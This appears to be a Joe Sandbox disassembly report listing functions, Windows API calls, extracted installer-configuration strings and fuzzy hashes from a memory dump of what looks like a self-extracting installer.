Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AllocInit_thread_footerVirtual
String ID:
API String ID: 518651690-0
Opcode ID: e1873cbaafdb8544c7f5717861c706acd8014f3c3903fc9a66b363d4bda1e03e
Instruction ID: 196f95535e32f5428d21c1ed2b31148c8d4cb69144752c5299ff6a7e2cd420ad
Opcode Fuzzy Hash: e1873cbaafdb8544c7f5717861c706acd8014f3c3903fc9a66b363d4bda1e03e
Instruction Fuzzy Hash: CC21C4B0021B408BC330EF2AD99558ABBE4BF14B04BA05D2EE5CB56A51CBB0F559CF94

Function 002195B2 Relevance: 1.3, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 002195CB

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: c8795ca4790933b4c91c337b34747b2afebd1300b9bda6466f32c3a4c6fef991
Instruction ID: 63d3d461a569ca19ed3e063d23eeaa254116a280cc201a4497da4dc8e639633c
Opcode Fuzzy Hash: c8795ca4790933b4c91c337b34747b2afebd1300b9bda6466f32c3a4c6fef991
Instruction Fuzzy Hash: 5A014B75200606AFCB1A9F15CC16BAE3BE6FF95310F104065F802972A0EF71DD91DAA1

Function 002132B0 Relevance: 1.3, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,00213E2A,?,?,00213DBC,?,002028D0), ref: 002132C0

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 278d11428c4ac206fa34c1358c6fda827b6db971ee42416cbae5ebb906cd4cfc
Instruction ID: b5f1f8c0189565c2f974ee76d7ea9fb638dad4c5f7a1a511d6b234e6a3cf90c0
Opcode Fuzzy Hash: 278d11428c4ac206fa34c1358c6fda827b6db971ee42416cbae5ebb906cd4cfc
Instruction Fuzzy Hash: F2B092B0B4430567EA30DE619E49F0762986B60B50F1484147A88E50C0CA70E810DA28

Non-executed Functions

Function 001E3B7E Relevance: 42.8, APIs: 6, Strings: 18, Instructions: 814COMMON

Download Yara Rule

APIs

Part of subcall function 001E1FBC: _wcslen.LIBCMT ref: 001E1FD5

_wcslen.LIBCMT ref: 001E3C21
_wcslen.LIBCMT ref: 001E3CBD
_wcslen.LIBCMT ref: 001E3D77
_wcslen.LIBCMT ref: 001E4533
_wcslen.LIBCMT ref: 001E45F6
_wcslen.LIBCMT ref: 001E4607

Strings

Silent, xrefs: 001E4328, 001E4353
License, xrefs: 001E3E9E, 001E3ECD
TempMode, xrefs: 001E43C8, 001E4400
Update, xrefs: 001E3FEC, 001E401B
DeleteSelf, xrefs: 001E3CD5
Text, xrefs: 001E3E03, 001E3E2E
, xrefs: 001E413A, 001E426A, 001E45C8
Delete, xrefs: 001E3D03, 001E3D3A
Title, xrefs: 001E3D8F, 001E3DBA
Registry, xrefs: 001E454B
Presetup, xrefs: 001E3C50, 001E3C84
PreExtract, xrefs: 001E44BF, 001E44F6
Path, xrefs: 001E40A4, 001E40DC
Windows Registry Editor Version 5.00, xrefs: 001E45D5, 001E45DC, 001E45E7
SavePath, xrefs: 001E4491
Shortcut, xrefs: 001E4200, 001E4238
Overwrite, xrefs: 001E3F4C, 001E3F77
Setup, xrefs: 001E3BA8, 001E3BE8

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen
String ID: $Delete$DeleteSelf$License$Overwrite$Path$PreExtract$Presetup$Registry$SavePath$Setup$Shortcut$Silent$TempMode$Text$Title$Update$Windows Registry Editor Version 5.00
API String ID: 176396367-287488893
Opcode ID: 2556b9e1b7bf7b5d15956e0f6937d6efc19780a902f330f6759539d63a3f52f1
Instruction ID: 5a0a0edcfc359c6fba9ec1fc1379aac152324a99257fa5f0ef62e4bb757ff3d2
Opcode Fuzzy Hash: 2556b9e1b7bf7b5d15956e0f6937d6efc19780a902f330f6759539d63a3f52f1
Instruction Fuzzy Hash: 1D625371D01A98AADF04EFA1DC55FEEB7B8BF26300F44015AF415B3182EB749A49CB94

Function 001F2C50 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 495libraryloaderCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001F2CCE
_wcslen.LIBCMT ref: 001F2ECF
GetProcAddress.KERNEL32(?,SHGetSpecialFolderLocation), ref: 001F30CF
GetProcAddress.KERNEL32(?,SHGetPathFromIDListW), ref: 001F30DD
GetProcAddress.KERNEL32(?,CoTaskMemFree), ref: 001F30EC
_wcslen.LIBCMT ref: 001F3185

Strings

SHGetSpecialFolderLocation, xrefs: 001F30C9
Shell32.dll, xrefs: 001F2CB2, 001F2D09, 001F2DC9
SHGetPathFromIDListW, xrefs: 001F30D1
CoTaskMemFree, xrefs: 001F30DF
Ole32.dll, xrefs: 001F2EA2, 001F2F07, 001F2FC9

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: AddressProc_wcslen
String ID: CoTaskMemFree$Ole32.dll$SHGetPathFromIDListW$SHGetSpecialFolderLocation$Shell32.dll
API String ID: 3980679079-3379794795
Opcode ID: d416e1ef85357da0a656a45fd4d353832283179251ba1c68a5d6d492b005ba6e
Instruction ID: d6a1936a7ee96aa0070734340267ecb3f0358b071eb52138ddbc8dca30fe31bd
Opcode Fuzzy Hash: d416e1ef85357da0a656a45fd4d353832283179251ba1c68a5d6d492b005ba6e
Instruction Fuzzy Hash: 0A02D071D102189BCB249B34CC857AEB3F5BF85310F2582A9E569D7294EF319E81CF91

Function 0022DB44 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

FindSITargetTypeInstance.LIBVCRUNTIME ref: 0022DB97
FindMITargetTypeInstance.LIBVCRUNTIME ref: 0022DBB0
FindVITargetTypeInstance.LIBVCRUNTIME ref: 0022DBB7
PMDtoOffset.LIBCMT ref: 0022DBD6

Strings

Bad dynamic_cast!, xrefs: 0022DC18

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: FindInstanceTargetType$Offset
String ID: Bad dynamic_cast!
API String ID: 1467055271-2956939130
Opcode ID: 0c51a18a18dbb70df05f88c14f2b903cacb0408c2fce6dc9d63d11c07219d365
Instruction ID: e0dd5f9607382e599d92e5e4232f3e21a8b316b9fdd180e87e454c15f1aa0860
Opcode Fuzzy Hash: 0c51a18a18dbb70df05f88c14f2b903cacb0408c2fce6dc9d63d11c07219d365
Instruction Fuzzy Hash: 54411032920635AFCB05DEADF8446AAB3A1FF85365F124716ED4453190D735EC34D790

Function 001F3F50 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 370windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000,1FE05385,?,?), ref: 001F3FA2
_wcslen.LIBCMT ref: 001F3FC2
_wcslen.LIBCMT ref: 001F4129
LocalFree.KERNEL32(?), ref: 001F425D
GetLastError.KERNEL32(1FE05385), ref: 001F43A2

Strings

Unknown error, xrefs: 001F3FBA, 001F3FE7, 001F409E

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen$ErrorFormatFreeLastLocalMessage
String ID: Unknown error
API String ID: 3724733814-83687255
Opcode ID: 68649d3cedb82845b36aa81eb2753bf78139a15a0edd98c454b89ec91e82d79a
Instruction ID: 36778a85f31345253e28a487fe5c8df4ef2c8f3c2346793d3bd92a4057b9eb0c
Opcode Fuzzy Hash: 68649d3cedb82845b36aa81eb2753bf78139a15a0edd98c454b89ec91e82d79a
Instruction Fuzzy Hash: C8D1E271E102199BDB14CF64D885BBFB7F5BF44324F25022EE926E7290EB70A9448B91

Function 0022720E Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00227354

Strings

1#IND, xrefs: 0022854C
1#QNAN, xrefs: 0022855A
1#INF, xrefs: 00228561
1#SNAN, xrefs: 00228553

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 80985bba647da21fc695cea2f64da9371d202f8625ba229bd4e18e123cf834d3
Instruction ID: d67ae84a46fefba90af6fc41c1bddb2c69954ca56a95eb8385b6c36c1514e181
Opcode Fuzzy Hash: 80985bba647da21fc695cea2f64da9371d202f8625ba229bd4e18e123cf834d3
Instruction Fuzzy Hash: 0BC27D71E296399FDB25CE68ED407EAB7B5EB44304F1441EAD80DE7240E774AEA18F40

Function 001F68C0 Relevance: 9.4, APIs: 6, Instructions: 422libraryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000000,1FE05385,00000000,00000000,?), ref: 001F690E
LeaveCriticalSection.KERNEL32(?,1FE05385,00000000,00000000,?), ref: 001F69C7
LoadLibraryW.KERNEL32(001F2E3D,1FE05385,00000000,00000000,?), ref: 001F6B0B
EnterCriticalSection.KERNEL32(00000000), ref: 001F6B35
LeaveCriticalSection.KERNEL32(00000000,?,?), ref: 001F6B89
LeaveCriticalSection.KERNEL32(00000000), ref: 001F6BF9

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LibraryLoad
String ID:
API String ID: 1982346941-0
Opcode ID: fd7a170e5c929094777ecfde1980b9f991b975328d17a25cfd68b3efabeb659b
Instruction ID: 11e9831e0656e34fa1ae477e54a6651de0ac0f84e60aa874eaf8d85e1e6a622e
Opcode Fuzzy Hash: fd7a170e5c929094777ecfde1980b9f991b975328d17a25cfd68b3efabeb659b
Instruction Fuzzy Hash: 79E19D71A00209DFDB18CF68D994BAEB7B5FF49314F24462DE516EB790D735AA00CB90

Function 001F3D50 Relevance: 9.2, APIs: 6, Instructions: 171fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001,1FE05385), ref: 001F3DAC
GetLastError.KERNEL32 ref: 001F3DBC
SetEndOfFile.KERNEL32(?,?,?,00000000,?), ref: 001F3E3B

Part of subcall function 001FA0B0: SetFilePointer.KERNELBASE(?,?,?,?,?,001FA024,00000000,00000000,00000001,?), ref: 001FA0E5
Part of subcall function 001FA0B0: GetLastError.KERNEL32(?,?,?,?,?,001FA024,00000000,00000000,00000001,?), ref: 001FA0F4

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: File$ErrorLastPointer
String ID:
API String ID: 841452515-0
Opcode ID: cbeb648d3def6d75fbe0b1c6c7303b8c0b0591085b88d0b7db7a8887c09eb8af
Instruction ID: 6375a16086c47b02dd3041c85827093167c58192b109ab4d596e41d7b636d3a3
Opcode Fuzzy Hash: cbeb648d3def6d75fbe0b1c6c7303b8c0b0591085b88d0b7db7a8887c09eb8af
Instruction Fuzzy Hash: 3C517171E0020DABDF14CFB9D844BBEBBB8AF19320F158219FA25B7281D73459408BA5

Function 001E16C0 Relevance: 7.6, Strings: 6, Instructions: 129COMMON

Download Yara Rule

Strings

Genu, xrefs: 001E16EE
cAMD, xrefs: 001E172B
ntel, xrefs: 001E1704
enti, xrefs: 001E1720
Auth, xrefs: 001E1715
ineI, xrefs: 001E16F9

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID:
String ID: Auth$Genu$cAMD$enti$ineI$ntel
API String ID: 0-1714976780
Opcode ID: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction ID: dd2aa8822a0f9bf135ac6b9987c159b3c6af127a6db40c2cfd4705f5ab5005b9
Opcode Fuzzy Hash: c77623a033a8abfacda9f66ad4af76de5be2dd884c722bfa4f30fc1e450f6a10
Instruction Fuzzy Hash: FB314C77E149961BFB396879D8947BD7083A390730F2AC739D936D35C5EA788C804190

Function 001E2777 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 347comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001E27E6
CoCreateInstance.OLE32(00230350,00000000,00000001,00230330,?,?,?,0000005C), ref: 001E28E9
CoCreateInstance.OLE32(00230350,00000000,00000001,00230330,?,?,00000000,000000FF), ref: 001E2A76

Strings

.lnk, xrefs: 001E29D0

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: CreateInstance$_wcslen
String ID: .lnk
API String ID: 2916380183-24824748
Opcode ID: e35522ef55c757ab1653de505a45d3b8d139722e18df827c6d79cbda4e86931f
Instruction ID: 7798a6e78e05a299122a101292676fbd3853d826067acb1a9c2f360e498f4ab6
Opcode Fuzzy Hash: e35522ef55c757ab1653de505a45d3b8d139722e18df827c6d79cbda4e86931f
Instruction Fuzzy Hash: 4CE16A70A006989FCF24DFA5C8A4BEEB7B9BF55304F144098E44AAB291DB70AD85CF51

Function 0021EF9A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0021F092
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0021F09C
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0021F0A9

Strings

{*", xrefs: 0021EF9C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: {*"
API String ID: 3906539128-502190959
Opcode ID: 74768fcc48a3db8db698c12dfe05bfa4ee5da6c8a58399890f73f03aa06a64e6
Instruction ID: efd986d94285e0a8a11a91733162961b67012a88b3d805b5d1080365ae930acb
Opcode Fuzzy Hash: 74768fcc48a3db8db698c12dfe05bfa4ee5da6c8a58399890f73f03aa06a64e6
Instruction Fuzzy Hash: 5D31C2B5911219ABCB61DF24DD887C8BBF8AF18310F5042EAE81CA7251E7709B958F44

Function 001EC600 Relevance: 6.5, APIs: 4, Instructions: 515COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 001EC666
_wcslen.LIBCMT ref: 001EC7AB
_wcslen.LIBCMT ref: 001EC93F
_wcslen.LIBCMT ref: 001ECA9C

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: eed13e45a594d5c49ab8e1816e80ed70787b4a65bcc6ca11dedf05f1dc5d046e
Instruction ID: 97793ac632d56c4c8c796852dca68bb9e16dd0e9f081e605640573b95c0f9ccf
Opcode Fuzzy Hash: eed13e45a594d5c49ab8e1816e80ed70787b4a65bcc6ca11dedf05f1dc5d046e
Instruction Fuzzy Hash: 14021671910A818BC718DF35CC8566E72E5BF85360F21072DF82AC72E1E730E9568BD2

Function 0022DBFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

std::__non_rtti_object::__construct_from_string_literal.LIBVCRUNTIME ref: 0022DC0A
__CxxThrowException@8.LIBVCRUNTIME ref: 0022DC31

Part of subcall function 0021D84D: RaiseException.KERNEL32(?,?,?,0021B9D7,?,?,?,?,?,?,?,?,0021B9D7,?,00244410), ref: 0021D8AD

Strings

Access violation - no RTTI data!, xrefs: 0022DC01

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.000000000024C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116355469.000000000024F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_vm-uw.jbxd

Similarity

API ID: ExceptionException@8RaiseThrowstd::__non_rtti_object::__construct_from_string_literal
String ID: Access violation - no RTTI data!
API String ID: 2053020834-2158758863
Opcode ID: 261a0353099895fe17dc0a4b2b6ece9b320d3d1260e534d9bc3bba429e156e59
Instruction ID: 477c0b9c4c0b09f65a4effc58010028a826fdceef3a609c95678b1eb2ad652a3
Opcode Fuzzy Hash: 261a0353099895fe17dc0a4b2b6ece9b320d3d1260e534d9bc3bba429e156e59
Instruction Fuzzy Hash: F021A872C206359BCB02DEADE4845A6F3E5FB84325F674617ED4463190C678FC24D6A0

Function 001F8F60 Relevance: 5.2, APIs: 3, Instructions: 710COMMON

Download Yara Rule

APIs

Part of subcall function 001EBD60: __aulldiv.LIBCMT ref: 001EBD78

_wcslen.LIBCMT ref: 001F90D7
_wcslen.LIBCMT ref: 001F9281
_wcslen.LIBCMT ref: 001F942B

Part of subcall function 0021B1A7: __CxxThrowException@8.LIBVCRUNTIME ref: 0021B9B5
Part of subcall function 0021B1A7: __CxxThrowException@8.LIBVCRUNTIME ref: 0021B9D2

Memory Dump Source

Source File: 00000000.00000002.2116216410.00000000001E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2116197258.00000000001E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116254657.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116280500.0000000000246000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116304232.0000000000247000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116321006.0000000000249000.00000004.00000001.01000000.00000003.sdmpDownload File
